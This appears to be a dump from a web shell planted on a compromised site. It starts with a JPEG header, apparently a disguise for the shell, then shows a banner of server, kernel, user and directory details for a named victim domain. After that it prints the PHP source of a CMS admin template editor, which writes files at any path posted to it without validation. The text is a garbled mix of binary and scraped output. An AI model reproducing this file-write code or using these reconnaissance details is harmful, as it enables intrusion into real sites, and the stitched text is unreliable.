ÿØÿà JFIF ÿÛ „ ( %"1"%)+...383,7(-.-
![]() Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /var/www/html/thietkewebvumi.com/admin_new/mod/ |
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php //Getting And Listing Files class template{ function template (){ global $CORE, $TBS; //$TBS->LoadTemplate(ADMIN_PATH."skin/brand.html"); switch($CORE->input['code']){ default : $this->goList(); break; //case 'post': $this->goPost(); break; //case 'del': $this->goDel(); break; } } function goList(){ global $CORE, $DB, $TBS, $print, $func; $TBS->LoadTemplate(ADMIN_PATH."skin/template.html"); $dir = ROOT_PATH.'/skin/'; $cur_dir = SKIN; if(!($dp = opendir($dir))) die("Cannot open $dir."); while($file = readdir($dp)){ $ext = $func->getExtension($file); if($ext == 'html' || $ext == 'tpl'){ $files[] = $file; } } closedir($dp); sort($files); foreach($files as $list){ if ($_POST['file']==$list){$sec = "selected=\"selected\""; }else{ $sec=''; } $html .= "<option value=\"".$list."\" $sec >".$list."</option>"; } $TBS->MergeField('html',$html); //Writng File if(isset($_POST['save'])){ $file = $dir.$_POST['file']; $data = stripslashes($_POST['data']); $open_file = fopen($file, "w"); fwrite($open_file, $data); $msg = $_POST['file']." Has Been Saved And Updated"; echo $msg; } //Getting Data from File if(isset($_POST['file'])){ $file = $dir.$_POST['file']; $_file = $_POST['file']; }else{ $file = $dir.$files[0]; $_file = $files[0]; } $open_file = fopen($file, "r"); $data = file_get_contents($file); $TBS->MergeField('file',$_file); $TBS->MergeField('data',$data); $TBS->MergeField('msg',$msg); //code nà y để conver sang utf8 inportant //$data = mb_convert_encoding($data, 'HTML-ENTITIES', "UTF-8"); //sau khi conver cac hà m htmlentity(),utf8encode ko dung duoc nua $TBS->Show(TBS_OUTPUT+TBS_NOTHING); }//end func }//end class $run = new template(); ?>